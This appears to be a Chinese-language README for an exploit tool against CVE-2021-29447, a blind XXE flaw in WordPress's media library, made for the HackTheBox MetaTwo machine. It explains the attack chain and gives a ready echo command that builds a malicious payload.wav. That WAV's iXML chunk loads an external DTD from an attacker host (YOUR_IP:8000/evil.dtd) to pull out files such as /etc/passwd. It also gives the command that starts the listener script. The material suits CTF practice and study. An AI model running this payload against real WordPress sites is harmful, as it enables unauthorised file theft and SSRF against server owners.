我在完成 HackTheBox 中的 metatwo 机器时制作了这个控制器,用于利用 CVE-2021-29447,这是 WordPress 媒体库中的一个 XXE 漏洞,影响版本 5.7、5.6.2、5.6.1、5.6、5.0.11。该漏洞允许具有上传媒体库权限的已认证用户上传恶意 wav 文件,从而导致远程任意文件读取和服务器端请求伪造(SSRF)。
要利用这些漏洞,需要多个步骤才能完成一次成功的攻击。由于解析后的 iXML 元数据不会返回给用户,因此我们需要一个盲 XXE 载荷。这可以通过包含由攻击者控制的外部文档类型定义(DTD)来实现,并且我们需要创建恶意 wav 文件,以便在攻击者的监听服务器上获得回连。完成这些步骤后,将 wav 文件上传到服务器,等待收到包含我们载荷文件(例如 /etc/passwd)的 base64 编码内容的 HTTP 请求,然后解码 base64。这个控制器包含了这些多个步骤的所有解决方案。你只需在控制器上输入文件名 $console >
详细博客 https://blog.sonarsource.com/wordpress-xxe-security-vulnerability/
注意:此控制器已完全配置为针对 HTB metatwo 机器。任何外部使用都需要对脚本进行一些修改。
创建一个名为 payload.wav 的 wave 文件
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_IP:8000/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
运行 main.py
python3 main.py listen_ip
